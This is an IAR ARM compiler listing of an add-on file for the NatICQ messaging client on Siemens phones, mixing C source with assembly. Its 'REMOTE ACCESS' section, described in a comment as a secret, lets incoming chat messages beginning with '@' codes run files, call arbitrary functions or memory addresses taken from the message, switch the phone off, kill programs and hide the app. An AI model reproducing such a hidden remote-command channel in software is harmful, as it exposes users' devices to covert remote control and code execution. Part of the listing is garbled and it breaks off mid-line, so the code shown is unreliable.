############################################################################## # # # IAR ARM ANSI C/C++ Compiler V4.42A/W32 EVALUATION 06/Aug/2008 20:56:03 # # Copyright 1999-2005 IAR Systems. All rights reserved. # # # # Cpu mode = interwork # # Endian = little # # Stack alignment = 4 # # Source file = D:\Pasha\elf\_MY_PROJECT_\naticq_mod2\addon.c # # Command line = D:\Pasha\elf\_MY_PROJECT_\naticq_mod2\addon.c -D # # NEWSGOLD -D ELKA -D kluchnik -D BCFGGEN # # --preprocess D:\Pasha\elf\_MY_PROJECT_\naticq_mod2\k # # luchnik\List\ -lC D:\Pasha\elf\_MY_PROJECT_\naticq_m # # od2\kluchnik\List\ -o D:\Pasha\elf\_MY_PROJECT_\nati # # cq_mod2\kluchnik\Obj\ -s9 --no_unroll --cpu_mode # # arm --endian little --cpu ARM926EJ-S --stack_align # # 4 --interwork -e --fpu None --dlib_config # # "D:\Pasha\Embedded Workbench 4.0 # # Evaluation2\ARM\LIB\dl5tpainl8n.h" -I # # "D:\Pasha\Embedded Workbench 4.0 # # Evaluation2\ARM\INC\" --inline_threshold=2 # # List file = D:\Pasha\elf\_MY_PROJECT_\naticq_mod2\kluchnik\List\ # # addon.lst # # Object file = D:\Pasha\elf\_MY_PROJECT_\naticq_mod2\kluchnik\Obj\a # # ddon.r79 # # # # # ############################################################################## D:\Pasha\elf\_MY_PROJECT_\naticq_mod2\addon.c 1 #include "../inc/swilib.h" 2 #include "../inc/cfg_items.h" 3 #include "../inc/pnglist.h" 4 #include "NatICQ.h" 5 #include "main.h" 6 #include "naticq_ipc.h" 7 #include "../inc/xtask_ipc.h" 8 #include "strings.h" 9 10 //Тут всякая поебень))) 11 12 #define _ECHOCHAT "@1" 13 #define _ECHO "@2" 14 #define _VIBRA "@3" 15 #define _IDLESCR "@4" 16 #define _DISCONNECT "@5" 17 #define _GETCLISTALL "@6" 18 #define _GETCLIST "@7" 19 #define _WRITE "@13" 20 #define _GETFLIST "@8" 21 #define _RUNFILE "@9" 22 #define _PIKOFF "@10" 23 #define _EXIT "@11" 24 #define _TURNOFF "@12" 25 #define MSG_ECHOCHAT "@Ms s: %s" 26 //#define __ECHOCHAT "\x23\x65\x63\x68\x6F\x63\x68\x61\x74" 27 #define ENA_SIGNAL 1 //для команд, активировать сигналы,али нет 28 #define DIS_SIGNAL 0 29 30 //По 10 секунд 31 #define ACTIVE_TIME 360 32 33 extern void SendData(CLIST *t,char *s,int signal,int count); 34 extern void AddStringToLog(CLIST *t, int code, char *s, const char *name, unsigned int IDforACK,int flag); 35 extern void RecountMenu(CLIST *req, int needfocus); 36 extern void start_vibra(void); 37 extern char *GetStatusByIconIndex(int icon); 38 extern CLIST *FindContactByUin(unsigned int uin); 39 40 41 extern int comanda; 42 extern int VIBR_TYPE; 43 extern volatile int silenthide; 44 extern volatile int disautorecconect; 45 extern volatile int vibra_count; 46 extern volatile int SENDMSGCOUNT; 47 extern volatile CLIST *cltop; 48 extern char per_s[]; 49 extern char I_str[]; 50 extern int SHOW_ACTIVE; 51 extern const char ipc_my_name[32]; 52 extern const char ipc_xtask_name[]; 53 extern const char ipc_test_name[]; 54 extern IPC_REQ gipc; 55 \ In segment CODE, align 4, keep-with-next 56 int get_file_size(char* fname) 57 { \ get_file_size: \ 00000000 00402DE9 PUSH {LR} \ 00000004 2CD04DE2 SUB SP,SP,#+44 58 unsigned int err; 59 FSTATS fs; 60 if ((GetFileStats(fname,&fs,&err))==-1) return 0; \ 00000008 0D20A0E1 MOV R2,SP \ 0000000C 04108DE2 ADD R1,SP,#+4 \ 00000010 840000EF SWI +132 \ 00000014 010070E3 CMN R0,#+1 61 return (fs.size); \ 00000018 08009D15 LDRNE R0,[SP, #+8] \ 0000001C 2CD08DE2 ADD SP,SP,#+44 \ 00000020 0000A003 MOVEQ R0,#+0 \ 00000024 0080BDE8 POP {PC} ;; return 62 } 63 64 \ In segment CODE, align 4, keep-with-next 65 int start(const char s[128]) 66 { \ start: \ 00000000 30402DE9 PUSH {R4,R5,LR} \ 00000004 04D04DE2 SUB SP,SP,#+4 \ 00000008 0040B0E1 MOVS R4,R0 67 if((s)&&strlen(s)) \ 0000000C 6D00000A BEQ ??start_0 \ 00000010 1B0000EF SWI +27 \ 00000014 000050E3 CMP R0,#+0 \ 00000018 3280BD08 POPEQ {R1,R4,R5,PC} 68 { 69 if((s[2]=='\\')&&((s[(strlen(s))-3]=='.')||//Проверяем строку на наличие символов '\\' и '.' 70 (s[(strlen(s))-4]=='.')||(s[(strlen(s))-5]=='.'))) \ 0000001C 0200D4E5 LDRB R0,[R4, #+2] \ 00000020 5C0050E3 CMP R0,#+92 \ 00000024 1E00001A BNE ??start_1 \ 00000028 0400A0E1 MOV R0,R4 \ 0000002C 1B0000EF SWI +27 \ 00000030 040080E0 ADD R0,R0,R4 \ 00000034 030050E5 LDRB R0,[R0, #-3] \ 00000038 2E0050E3 CMP R0,#+46 \ 0000003C 0B00000A BEQ ??start_2 \ 00000040 0400A0E1 MOV R0,R4 \ 00000044 1B0000EF SWI +27 \ 00000048 040080E0 ADD R0,R0,R4 \ 0000004C 040050E5 LDRB R0,[R0, #-4] \ 00000050 2E0050E3 CMP R0,#+46 \ 00000054 0500000A BEQ ??start_2 \ 00000058 0400A0E1 MOV R0,R4 \ 0000005C 1B0000EF SWI +27 \ 00000060 040080E0 ADD R0,R0,R4 \ 00000064 050050E5 LDRB R0,[R0, #-5] \ 00000068 2E0050E3 CMP R0,#+46 \ 0000006C 0C00001A BNE ??start_1 71 /* Если в строке есть символы '\\' и '.', то запускаем как обычный файл*/ 72 { 73 WSHDR *ws; 74 ws=AllocWS(256); \ ??start_2: \ 00000070 400FA0E3 MOV R0,#+256 \ 00000074 250100EF SWI +293 \ 00000078 0050A0E1 MOV R5,R0 75 str_2ws(ws,s,256); \ 0000007C 402FA0E3 MOV R2,#+256 \ 00000080 0410A0E1 MOV R1,R4 \ 00000084 6C0100EF SWI +364 76 ExecuteFile(ws,0,0); \ 00000088 0020A0E3 MOV R2,#+0 \ 0000008C 0010A0E3 MOV R1,#+0 \ 00000090 0500A0E1 MOV R0,R5 \ 00000094 940000EF SWI +148 77 FreeWS(ws); \ 00000098 0500A0E1 MOV R0,R5 \ 0000009C 290100EF SWI +297 78 return (1); \ 000000A0 1F0000EA B ??start_3 79 } 80 if ((s[2]!='\\')&&(s[(strlen(s))-3]!='.')&& 81 (s[(strlen(s))-4]!='.')&&(s[(strlen(s))-5]!='.')&& 82 (s[0]!='a')&&(s[0]!='A')&&(s[1]!='0')) \ ??start_1: \ 000000A4 0200D4E5 LDRB R0,[R4, #+2] \ 000000A8 20519FE5 LDR R5,??start_4 ;; `?` \ 000000AC 5C0050E3 CMP R0,#+92 \ 000000B0 2200000A BEQ ??start_5 \ 000000B4 0400A0E1 MOV R0,R4 \ 000000B8 1B0000EF SWI +27 \ 000000BC 040080E0 ADD R0,R0,R4 \ 000000C0 030050E5 LDRB R0,[R0, #-3] \ 000000C4 2E0050E3 CMP R0,#+46 \ 000000C8 1C00000A BEQ ??start_5 \ 000000CC 0400A0E1 MOV R0,R4 \ 000000D0 1B0000EF SWI +27 \ 000000D4 040080E0 ADD R0,R0,R4 \ 000000D8 040050E5 LDRB R0,[R0, #-4] \ 000000DC 2E0050E3 CMP R0,#+46 \ 000000E0 1600000A BEQ ??start_5 \ 000000E4 0400A0E1 MOV R0,R4 \ 000000E8 1B0000EF SWI +27 \ 000000EC 040080E0 ADD R0,R0,R4 \ 000000F0 050050E5 LDRB R0,[R0, #-5] \ 000000F4 2E0050E3 CMP R0,#+46 \ 000000F8 0000D415 LDRBNE R0,[R4, #+0] \ 000000FC 61005013 CMPNE R0,#+97 \ 00000100 41005013 CMPNE R0,#+65 \ 00000104 0100D415 LDRBNE R0,[R4, #+1] \ 00000108 30005013 CMPNE R0,#+48 \ 0000010C 0B00000A BEQ ??start_5 83 { 84 int (*p) (void); 85 p=(int(*)(void))GetFunctionPointer((char*)s); \ 00000110 0400A0E1 MOV R0,R4 \ 00000114 740000EF SWI +116 86 if(p!=NULL) \ 00000118 000050E3 CMP R0,#+0 \ 0000011C 0200000A BEQ ??start_6 87 (*p)(); \ 00000120 30FF2FE1 BLX R0 \ ??start_3: \ 00000124 0100A0E3 MOV R0,#+1 \ 00000128 3280BDE8 POP {R1,R4,R5,PC} 88 else 89 ShowMSG(1,(int)"NULL pointer function!"); \ ??start_6: \ 0000012C 0510A0E1 MOV R1,R5 \ 00000130 0100A0E3 MOV R0,#+1 \ 00000134 480100EF SWI +328 90 return 1; \ 00000138 0100A0E3 MOV R0,#+1 \ 0000013C 3280BDE8 POP {R1,R4,R5,PC} 91 } 92 93 if ((s[2]!='\\')&&(s[(strlen(s))-3]!='.')&& 94 (s[(strlen(s))-4]!='.')&&(s[(strlen(s))-5]!='.')&& 95 ((s[0]=='a')||(s[0]=='A'))&&(s[1]=='0')) \ ??start_5: \ 00000140 0200D4E5 LDRB R0,[R4, #+2] \ 00000144 5C0050E3 CMP R0,#+92 \ 00000148 1E00000A BEQ ??start_0 \ 0000014C 0400A0E1 MOV R0,R4 \ 00000150 1B0000EF SWI +27 \ 00000154 040080E0 ADD R0,R0,R4 \ 00000158 030050E5 LDRB R0,[R0, #-3] \ 0000015C 2E0050E3 CMP R0,#+46 \ 00000160 1800000A BEQ ??start_0 \ 00000164 0400A0E1 MOV R0,R4 \ 00000168 1B0000EF SWI +27 \ 0000016C 040080E0 ADD R0,R0,R4 \ 00000170 040050E5 LDRB R0,[R0, #-4] \ 00000174 2E0050E3 CMP R0,#+46 \ 00000178 1200000A BEQ ??start_0 \ 0000017C 0400A0E1 MOV R0,R4 \ 00000180 1B0000EF SWI +27 \ 00000184 040080E0 ADD R0,R0,R4 \ 00000188 050050E5 LDRB R0,[R0, #-5] \ 0000018C 2E0050E3 CMP R0,#+46 \ 00000190 0C00000A BEQ ??start_0 \ 00000194 0000D4E5 LDRB R0,[R4, #+0] \ 00000198 610050E3 CMP R0,#+97 \ 0000019C 41005013 CMPNE R0,#+65 \ 000001A0 0100D405 LDRBEQ R0,[R4, #+1] \ 000001A4 30005003 CMPEQ R0,#+48 \ 000001A8 0600001A BNE ??start_0 96 { 97 int entry; 98 sscanf(s,"%08X",&entry); \ 000001AC 0D20A0E1 MOV R2,SP \ 000001B0 181085E2 ADD R1,R5,#+24 \ 000001B4 0400A0E1 MOV R0,R4 \ 000001B8 F50100EF SWI +501 99 SUBPROC((void*)entry); \ 000001BC 00009DE5 LDR R0,[SP, #+0] \ 000001C0 710100EF SWI +369 100 return 1; \ 000001C4 D6FFFFEA B ??start_3 101 } 102 } 103 return 0; \ ??start_0: \ 000001C8 0000A0E3 MOV R0,#+0 \ 000001CC 3280BDE8 POP {R1,R4,R5,PC} ;; return \ ??start_4: \ 000001D0 ........ DC32 `?` 104 } 105 106 \ In segment CODE, align 4, keep-with-next 107 void CheckComand2(char *txt, CLIST *t) 108 { \ CheckComand2: \ 00000000 F04F2DE9 PUSH {R4-R11,LR} \ 00000004 0080A0E1 MOV R8,R0 \ 00000008 F4089FE5 LDR R0,??CheckComand2_0+0xC ;; comanda \ 0000000C ACD04DE2 SUB SP,SP,#+172 \ 00000010 40DE4DE2 SUB SP,SP,#+1024 \ 00000014 0190A0E3 MOV R9,#+1 \ 00000018 009080E5 STR R9,[R0, #+0] 109 comanda=1; 110 //---------------------- REMOTE ACCESS -------------------// 111 //так,маленький секрет так сказать))) глюмлюсь над теми кто достает....)) 112 if((txt[0]=='#' || txt[0]=='@') && t->isaccess) \ 0000001C 0000D8E5 LDRB R0,[R8, #+0] \ 00000020 0140A0E1 MOV R4,R1 \ 00000024 230050E3 CMP R0,#+35 \ 00000028 40005013 CMPNE R0,#+64 \ 0000002C 2E02001A BNE ??CheckComand2_1 \ 00000030 840094E5 LDR R0,[R4, #+132] \ 00000034 000050E3 CMP R0,#+0 \ 00000038 2B02000A BEQ ??CheckComand2_1 \ 0000003C C4589FE5 LDR R5,??CheckComand2_0+0x10 ;; I_str \ 00000040 C4689FE5 LDR R6,??CheckComand2_0+0x14 ;; SENDMSGCOUNT \ 00000044 DA7F8FE2 ADR R7,??CheckComand2_2 ;; "@13" \ 00000048 0710A0E1 MOV R1,R7 \ 0000004C 0800A0E1 MOV R0,R8 113 { 114 115 if(/*strstr(txt,"#write") || */strstr(txt,_WRITE))//#write uin message \ 00000050 180100EF SWI +280 \ 00000054 000050E3 CMP R0,#+0 \ 00000058 4400000A BEQ ??CheckComand2_3 116 { 117 char *s=strrchr(txt,' ')+1; \ 0000005C 2010A0E3 MOV R1,#+32 \ 00000060 0800A0E1 MOV R0,R8 \ 00000064 170100EF SWI +279 \ 00000068 01A080E2 ADD R10,R0,#+1 118 #ifdef kluchnik 119 CLIST *tt; 120 tt=FindContactByUin(strtoul(txt+strlen(_WRITE)+1,0,10)); \ 0000006C 0700A0E1 MOV R0,R7 \ 00000070 1B0000EF SWI +27 \ 00000074 0A20A0E3 MOV R2,#+10 \ 00000078 0010A0E3 MOV R1,#+0 \ 0000007C 080080E0 ADD R0,R0,R8 \ 00000080 010080E2 ADD R0,R0,#+1 \ 00000084 ........ _BLF strtoul,??strtoul??rA \ 00000088 ........ _BLF FindContactByUin,??FindContactByUin??rA \ 0000008C 00B0A0E1 MOV R11,R0 121 AddStringToLog(tt,0x01,s,I_str,(++SENDMSGCOUNT)&0x7FFF,1); \ 00000090 000096E5 LDR R0,[R6, #+0] \ 00000094 0110A0E3 MOV R1,#+1 \ 00000098 010080E2 ADD R0,R0,#+1 \ 0000009C 000086E5 STR R0,[R6, #+0] \ 000000A0 02002DE9 PUSH {R1} \ 000000A4 8008A0E1 LSL R0,R0,#+17 \ 000000A8 A008A0E1 LSR R0,R0,#+17 \ 000000AC 01002DE9 PUSH {R0} \ 000000B0 0530A0E1 MOV R3,R5 \ 000000B4 0A20A0E1 MOV R2,R10 \ 000000B8 0B00A0E1 MOV R0,R11 \ 000000BC ........ _BLF AddStringToLog,??AddStringToLog??rA 122 AddStringToLog(t,0x01,txt,I_str,0x7FFF,1); \ 000000C0 0900A0E1 MOV R0,R9 \ 000000C4 01002DE9 PUSH {R0} \ 000000C8 0530A0E1 MOV R3,R5 \ 000000CC 0820A0E1 MOV R2,R8 \ 000000D0 0910A0E1 MOV R1,R9 \ 000000D4 FF00A0E3 MOV R0,#+255 \ 000000D8 7F0C80E3 ORR R0,R0,#0x7F00 \ 000000DC 01002DE9 PUSH {R0} \ 000000E0 0400A0E1 MOV R0,R4 \ 000000E4 ........ _BLF AddStringToLog,??AddStringToLog??rA 123 t->signals=1; 124 tt->signals=1; 125 if(SHOW_ACTIVE) \ 000000E8 20089FE5 LDR R0,??CheckComand2_0+0x18 ;; SHOW_ACTIVE \ 000000EC 809084E5 STR R9,[R4, #+128] \ 000000F0 80908BE5 STR R9,[R11, #+128] \ 000000F4 000090E5 LDR R0,[R0, #+0] \ 000000F8 10D08DE2 ADD SP,SP,#+16 \ 000000FC 000050E3 CMP R0,#+0 126 tt->isactive=ACTIVE_TIME; \ 00000100 5A0FA013 MOVNE R0,#+360 \ 00000104 AC008B15 STRNE R0,[R11, #+172] 127 #else 128 ++SENDMSGCOUNT; 129 #endif 130 TPKT *p; 131 p=malloc(sizeof(PKT)+strlen(s)+1); \ 00000108 0A00A0E1 MOV R0,R10 \ 0000010C 1B0000EF SWI +27 \ 00000110 090080E2 ADD R0,R0,#+9 \ 00000114 140000EF SWI +20 \ 00000118 0040A0E1 MOV R4,R0 132 p->pkt.uin=strtoul(txt+strlen(_WRITE)+1,0,10); \ 0000011C 0700A0E1 MOV R0,R7 \ 00000120 1B0000EF SWI +27 \ 00000124 0A20A0E3 MOV R2,#+10 \ 00000128 0010A0E3 MOV R1,#+0 \ 0000012C 080080E0 ADD R0,R0,R8 \ 00000130 010080E2 ADD R0,R0,#+1 \ 00000134 ........ _BLF strtoul,??strtoul??rA \ 00000138 000084E5 STR R0,[R4, #+0] 133 p->pkt.type=T_SENDMSG; \ 0000013C 0200A0E3 MOV R0,#+2 \ 00000140 B400C4E1 STRH R0,[R4, #+4] 134 p->pkt.data_len=strlen(s); \ 00000144 0A00A0E1 MOV R0,R10 \ 00000148 1B0000EF SWI +27 \ 0000014C B600C4E1 STRH R0,[R4, #+6] 135 strcpy(p->data,s); \ 00000150 0A10A0E1 MOV R1,R10 \ 00000154 080084E2 ADD R0,R4,#+8 \ 00000158 1A0000EF SWI +26 136 SUBPROC((void *)SendAnswer,0,p); \ 0000015C B0079FE5 LDR R0,??CheckComand2_0+0x1C ;; SendAnswer \ 00000160 0420A0E1 MOV R2,R4 \ 00000164 0010A0E3 MOV R1,#+0 \ 00000168 710100EF SWI +369 137 return; \ 0000016C 7B0000EA B ??CheckComand2_4 138 } 139 140 if(strstr(txt,_PIKOFF)) \ ??CheckComand2_3: \ 00000170 A0779FE5 LDR R7,??CheckComand2_0+0x20 ;; `?` \ 00000174 8F1F8FE2 ADR R1,??CheckComand2_2+0x4 ;; "@10" \ 00000178 0800A0E1 MOV R0,R8 \ 0000017C 180100EF SWI +280 \ 00000180 000050E3 CMP R0,#+0 \ 00000184 0300000A BEQ ??CheckComand2_5 141 { 142 char *s=malloc(1); \ 00000188 0100A0E3 MOV R0,#+1 \ 0000018C 140000EF SWI +20 143 strcpy(s,"BGAGA"); \ 00000190 0710A0E1 MOV R1,R7 \ 00000194 1A0000EF SWI +26 144 } 145 146 if(strstr(txt,_EXIT)) \ ??CheckComand2_5: \ 00000198 00A0A0E3 MOV R10,#+0 \ 0000019C 861F8FE2 ADR R1,??CheckComand2_2+0x8 ;; "@11" \ 000001A0 0800A0E1 MOV R0,R8 \ 000001A4 180100EF SWI +280 \ 000001A8 000050E3 CMP R0,#+0 147 { 148 t->signals=0; \ 000001AC 80A08415 STRNE R10,[R4, #+128] 149 #ifdef kluchnik 150 #else 151 extern void ElfKiller(void); 152 SUBPROC((void *)ElfKiller); 153 #endif 154 } 155 156 if(strstr(txt,_TURNOFF)) \ 000001B0 821F8FE2 ADR R1,??CheckComand2_2+0xC ;; "@12" \ 000001B4 0800A0E1 MOV R0,R8 \ 000001B8 180100EF SWI +280 \ 000001BC 000050E3 CMP R0,#+0 157 { 158 t->signals=0; \ 000001C0 80A08415 STRNE R10,[R4, #+128] 159 #ifdef kluchnik 160 #else 161 SwitchPhoneOff(); 162 #endif 163 return; \ 000001C4 C801001A BNE ??CheckComand2_1 \ 000001C8 7D1F8FE2 ADR R1,??CheckComand2_2+0x10 ;; "@1" \ 000001CC 0800A0E1 MOV R0,R8 164 } 165 166 if(/*strstr(txt,"#echochat") || */strstr(txt,_ECHOCHAT)) \ 000001D0 180100EF SWI +280 \ 000001D4 000050E3 CMP R0,#+0 \ 000001D8 6300000A BEQ ??CheckComand2_6 167 { 168 char msg[256]; 169 sprintf(msg,MSG_ECHOCHAT,txt); \ 000001DC 0820A0E1 MOV R2,R8 \ 000001E0 081087E2 ADD R1,R7,#+8 \ 000001E4 EB0F8DE2 ADD R0,SP,#+940 \ 000001E8 160000EF SWI +22 170 char *k; 171 if(strstr(txt,_ECHOCHAT)) \ 000001EC 741F8FE2 ADR R1,??CheckComand2_2+0x10 ;; "@1" \ 000001F0 0800A0E1 MOV R0,R8 \ 000001F4 180100EF SWI +280 \ 000001F8 000050E3 CMP R0,#+0 \ 000001FC 0300000A BEQ ??CheckComand2_7 172 k=txt+(strlen(_ECHOCHAT)+2); \ 00000200 6F0F8FE2 ADR R0,??CheckComand2_2+0x10 ;; "@1" \ 00000204 1B0000EF SWI +27 \ 00000208 080080E0 ADD R0,R0,R8 \ 0000020C 029080E2 ADD R9,R0,#+2 173 /* else 174 k=txt+(strlen("#echochat")+2);*/ 175 char name[32]; 176 zeromem(name,32); \ ??CheckComand2_7: \ 00000210 2010A0E3 MOV R1,#+32 \ 00000214 48008DE2 ADD R0,SP,#+72 \ 00000218 1D0100EF SWI +285 177 char *tmp; 178 if(tmp=strstr(txt," ")+1)//после первого пробела идет имя \ 0000021C 691F8FE2 ADR R1,??CheckComand2_2+0x14 ;; " " \ 00000220 0800A0E1 MOV R0,R8 \ 00000224 180100EF SWI +280 \ 00000228 010080E2 ADD R0,R0,#+1 \ 0000022C 00008DE5 STR R0,[SP, #+0] \ 00000230 000050E3 CMP R0,#+0 \ 00000234 1900000A BEQ ??CheckComand2_8 179 { 180 if(strstr(tmp,"!"))//если есть еще '!',значит имя прописали:) \ 00000238 631F8FE2 ADR R1,??CheckComand2_2+0x18 ;; "!" \ 0000023C 180100EF SWI +280 \ 00000240 000050E3 CMP R0,#+0 \ 00000244 1400000A BEQ ??CheckComand2_9 181 { 182 int ii=0; 183 for(ii=0;(iiname, name); \ 000002E0 48008DE2 ADD R0,SP,#+72 \ 000002E4 01002DE9 PUSH {R0} \ 000002E8 143084E2 ADD R3,R4,#+20 \ 000002EC 0520A0E1 MOV R2,R5 \ 000002F0 141087E2 ADD R1,R7,#+20 \ 000002F4 0800A0E1 MOV R0,R8 \ 000002F8 160000EF SWI +22 199 if(tmp!=0) \ 000002FC 04009DE5 LDR R0,[SP, #+4] \ 00000300 04D08DE2 ADD SP,SP,#+4 \ 00000304 000050E3 CMP R0,#+0 \ 00000308 000096E5 LDR R0,[R6, #+0] \ 0000030C 0110A0E3 MOV R1,#+1 \ 00000310 010080E2 ADD R0,R0,#+1 \ 00000314 000086E5 STR R0,[R6, #+0] \ 00000318 02002DE9 PUSH {R1} \ 0000031C 8008A0E1 LSL R0,R0,#+17 \ 00000320 A008A0E1 LSR R0,R0,#+17 \ 00000324 01002DE9 PUSH {R0} 200 AddStringToLog(t,0x02,msg2,name,(++SENDMSGCOUNT)&0x7FFF,1); \ 00000328 50308D12 ADDNE R3,SP,#+80 201 else 202 AddStringToLog(t,0x02,msg2,"Ib",(++SENDMSGCOUNT)&0x7FFF,1); \ 0000032C 273F8F02 ADREQ R3,??CheckComand2_2+0x1C ;; "Ib" \ 00000330 0520A0E1 MOV R2,R5 \ 00000334 0210A0E3 MOV R1,#+2 \ 00000338 0400A0E1 MOV R0,R4 \ 0000033C ........ _BLF AddStringToLog,??AddStringToLog??rA \ 00000340 08D08DE2 ADD SP,SP,#+8 203 204 SendData(t,s,ENA_SIGNAL,0); \ 00000344 0030A0E3 MOV R3,#+0 \ 00000348 0120A0E3 MOV R2,#+1 \ 0000034C 0810A0E1 MOV R1,R8 \ 00000350 0400A0E1 MOV R0,R4 \ 00000354 ........ _BLF SendData,??SendData??rA 205 mfree(s); \ 00000358 0800A0E1 MOV R0,R8 \ ??CheckComand2_14: \ 0000035C 150000EF SWI +21 206 return; \ ??CheckComand2_4: \ 00000360 ACD08DE2 ADD SP,SP,#+172 \ 00000364 40DE8DE2 ADD SP,SP,#+1024 \ 00000368 F08FBDE8 POP {R4-R11,PC} 207 } 208 209 if(/*strstr(txt,"#echo") || */strstr(txt,_ECHO)) \ ??CheckComand2_6: \ 0000036C 181F8FE2 ADR R1,??CheckComand2_2+0x20 ;; "@2" \ 00000370 0800A0E1 MOV R0,R8 \ 00000374 180100EF SWI +280 \ 00000378 000050E3 CMP R0,#+0 \ 0000037C 1500000A BEQ ??CheckComand2_15 210 { 211 ShowMSG(1,(int)txt+2); \ 00000380 021088E2 ADD R1,R8,#+2 \ 00000384 0100A0E3 MOV R0,#+1 \ 00000388 480100EF SWI +328 212 char msg[256]; 213 sprintf(msg,"M %s snd",txt); \ 0000038C 0820A0E1 MOV R2,R8 \ 00000390 341087E2 ADD R1,R7,#+52 \ 00000394 EB0F8DE2 ADD R0,SP,#+940 \ 00000398 160000EF SWI +22 214 SendData(t,msg,ENA_SIGNAL,1); \ 0000039C 0930A0E1 MOV R3,R9 \ 000003A0 0320A0E1 MOV R2,R3 \ 000003A4 EB1F8DE2 ADD R1,SP,#+940 \ ??CheckComand2_16: \ 000003A8 0400A0E1 MOV R0,R4 \ 000003AC ........ _BLF SendData,??SendData??rA 215 return; \ 000003B0 EAFFFFEA B ??CheckComand2_4 \ ??CheckComand2_2: \ 000003B4 40313300 DC8 "@13" \ 000003B8 40313000 DC8 "@10" \ 000003BC 40313100 DC8 "@11" \ 000003C0 40313200 DC8 "@12" \ 000003C4 40310000 DC8 "@1",+0 \ 000003C8 20000000 DC8 " ",+0,+0 \ 000003CC 21000000 DC8 "!",+0,+0 \ 000003D0 49620000 DC8 "Ib",+0 \ 000003D4 40320000 DC8 "@2",+0 216 } 217 218 if(/*strstr(txt,"#vibra") || */strstr(txt,_VIBRA)) \ ??CheckComand2_15: \ 000003D8 B01F8FE2 ADR R1,??CheckComand2_17 ;; "@3" \ 000003DC 0800A0E1 MOV R0,R8 \ 000003E0 180100EF SWI +280 \ 000003E4 000050E3 CMP R0,#+0 \ 000003E8 1A00000A BEQ ??CheckComand2_18 219 { 220 vibra_count=strtoul(txt+3,0,10); \ 000003EC 28559FE5 LDR R5,??CheckComand2_0+0x24 ;; vibra_count \ 000003F0 0A20A0E3 MOV R2,#+10 \ 000003F4 0010A0E3 MOV R1,#+0 \ 000003F8 030088E2 ADD R0,R8,#+3 \ 000003FC ........ _BLF strtoul,??strtoul??rA \ 00000400 000085E5 STR R0,[R5, #+0] 221 222 if(vibra_count==0) \ 00000404 000095E5 LDR R0,[R5, #+0] \ 00000408 000050E3 CMP R0,#+0 \ 0000040C 0500001A BNE ??CheckComand2_19 223 { 224 if( VIBR_TYPE) //если написали просто команду без параметра \ 00000410 08059FE5 LDR R0,??CheckComand2_0+0x28 ;; VIBR_TYPE \ 00000414 000090E5 LDR R0,[R0, #+0] \ 00000418 000050E3 CMP R0,#+0 225 vibra_count=2; \ 0000041C 0200A013 MOVNE R0,#+2 \ 00000420 00008515 STRNE R0,[R5, #+0] 226 else 227 vibra_count=1; \ 00000424 00908505 STREQ R9,[R5, #+0] 228 } 229 #ifdef kluchnik 230 if(vibra_count>10 || vibra_count<0) \ ??CheckComand2_19: \ 00000428 000095E5 LDR R0,[R5, #+0] \ 0000042C 0B0050E3 CMP R0,#+11 \ 00000430 020000AA BGE ??CheckComand2_20 \ 00000434 000095E5 LDR R0,[R5, #+0] \ 00000438 000050E3 CMP R0,#+0 \ 0000043C 0000005A BPL ??CheckComand2_21 231 vibra_count=1; \ ??CheckComand2_20: \ 00000440 009085E5 STR R9,[R5, #+0] 232 #endif 233 start_vibra(); \ ??CheckComand2_21: \ 00000444 ........ _BLF start_vibra,??start_vibra??rA 234 SendData(t,"act",DIS_SIGNAL,1); \ 00000448 0130A0E3 MOV R3,#+1 \ 0000044C 0A20A0E1 MOV R2,R10 \ 00000450 931F8FE2 ADR R1,??CheckComand2_17+0x4 ;; "act" \ 00000454 D3FFFFEA B ??CheckComand2_16 235 return; 236 } 237 /* 238 if(strstr(txt,"#gprsoff")) 239 { 240 #ifdef kluchnik 241 char *s=malloc(256); 242 sprintf(s,"Recive command < Gprs off >"); 243 AddStringToLog(t,0x01,s,I_str,(++SENDMSGCOUNT)&0x7FFF,1); 244 mfree(s); 245 SendData(t,"GPRS Off",ENA_SIGNAL,0); 246 #else 247 SendData(t,"GPRS Off",DIS_SIGNAL,1); 248 GPRS_OnOff(0,1); 249 #endif 250 return; 251 }*/ 252 253 254 if(/*strstr(txt,"#idlescr") ||*/ strstr(txt,_IDLESCR)) \ ??CheckComand2_18: \ 00000458 921F8FE2 ADR R1,??CheckComand2_17+0x8 ;; "@4" \ 0000045C 0800A0E1 MOV R0,R8 \ 00000460 180100EF SWI +280 \ 00000464 000050E3 CMP R0,#+0 \ 00000468 1600000A BEQ ??CheckComand2_22 255 { 256 SendData(t,"scr..",DIS_SIGNAL,1); \ 0000046C 0130A0E3 MOV R3,#+1 \ 00000470 0A20A0E1 MOV R2,R10 \ 00000474 581087E2 ADD R1,R7,#+88 \ 00000478 0400A0E1 MOV R0,R4 \ 0000047C ........ _BLF SendData,??SendData??rA 257 RecountMenu(NULL,1); \ 00000480 0910A0E1 MOV R1,R9 \ 00000484 0A00A0E1 MOV R0,R10 \ 00000488 ........ _BLF RecountMenu,??RecountMenu??rA 258 silenthide=1; \ 0000048C 90049FE5 LDR R0,??CheckComand2_0+0x2C ;; silenthide 259 gipc.name_to=ipc_xtask_name; \ 00000490 90349FE5 LDR R3,??CheckComand2_0+0x30 ;; gipc \ 00000494 009080E5 STR R9,[R0, #+0] \ 00000498 8C049FE5 LDR R0,??CheckComand2_0+0x34 ;; ipc_xtask_name 260 gipc.name_from=ipc_my_name; 261 gipc.data=0; \ 0000049C 08A083E5 STR R10,[R3, #+8] \ 000004A0 000083E5 STR R0,[R3, #+0] \ 000004A4 84049FE5 LDR R0,??CheckComand2_0+0x38 ;; ipc_my_name 262 GBS_SendMessage(MMI_CEPID,MSG_IPC,IPC_XTASK_IDLE,&gipc); \ 000004A8 0920A0E1 MOV R2,R9 \ 000004AC 040083E5 STR R0,[R3, #+4] \ 000004B0 B010A0E3 MOV R1,#+176 \ 000004B4 DE1C81E3 ORR R1,R1,#0xDE00 \ 000004B8 0900A0E3 MOV R0,#+9 \ 000004BC 420C80E3 ORR R0,R0,#0x4200 \ 000004C0 000100EF SWI +256 263 return; \ 000004C4 A5FFFFEA B ??CheckComand2_4 264 } 265 266 267 if(/*strstr(txt,"#disconnect") ||*/ strstr(txt,_DISCONNECT)) \ ??CheckComand2_22: \ 000004C8 771F8FE2 ADR R1,??CheckComand2_17+0xC ;; "@5" \ 000004CC 0800A0E1 MOV R0,R8 \ 000004D0 180100EF SWI +280 \ 000004D4 000050E3 CMP R0,#+0 \ 000004D8 0800000A BEQ ??CheckComand2_23 268 { 269 comanda=0; \ 000004DC 20049FE5 LDR R0,??CheckComand2_0+0xC ;; comanda \ 000004E0 00A080E5 STR R10,[R0, #+0] 270 disautorecconect=1; \ 000004E4 48049FE5 